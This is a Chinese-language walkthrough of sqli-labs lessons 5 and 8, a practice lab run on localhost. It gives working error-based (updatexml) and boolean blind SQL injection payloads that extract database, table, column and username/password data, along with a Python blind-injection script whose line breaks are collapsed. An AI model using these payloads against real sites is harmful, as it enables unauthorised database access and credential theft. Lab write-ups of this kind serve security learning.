sqllabs通关

sqllabs5:(报错注入)

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '判断是字符型，'闭合。

?id=1'order by 3--+    //页面显示正常

我们试了4行得出是报错注入

我们先爆库名

http://127.0.0.1/sqli-labs-master/Less-5/?id='and updatexml(1,concat(0x7e,(select database()),0x7e),3)--+

拿下库名:security

爆表名

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)%20--+

拿下表名

然后爆字段：

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

爆数据：

http://127.0.0.1/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

数据不完整，因为updatexml()函数的报错内容不超过32个字符，所以我们还需要对数据进行处理

使用substring()函数对结果字符进行处理

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,64)),1) --+

之后我们就可以不断改变位置，这样我们就可以得到所有数据，后续的操作不再演示

sqllabs8:布尔盲注

报错注入被注释掉了

联合查询只出现you are in ..........

所以这里我们能看见一真一假（页面特征）

不加'时为真

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

加入'时为假

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

我们可以用布尔盲注

我们数据库名：

security，s的ascii码是115，我们可以一个一个试一试

http://127.0.0.1/sqli-labs-master/Less-8//?id=1' and ascii(substring((select database()),1,1))=115--+

利用二分法和ASCII码进行渗透：

根据此现象我们写一个python脚本快速进行注入

import time
import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}# start_time = time.time()r = requests.get(url, params=res)# end_time = time.time()if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

爆库名;

爆表名：

payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d-- " % (i, mid)

爆列名：

payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), %d, 1)) > %d-- " % (i, mid)

爆数据：

payload = "1' and ascii(substr((select group_concat(username,'$',password) from users), %d, 1)) > %d-- " % (i, mid)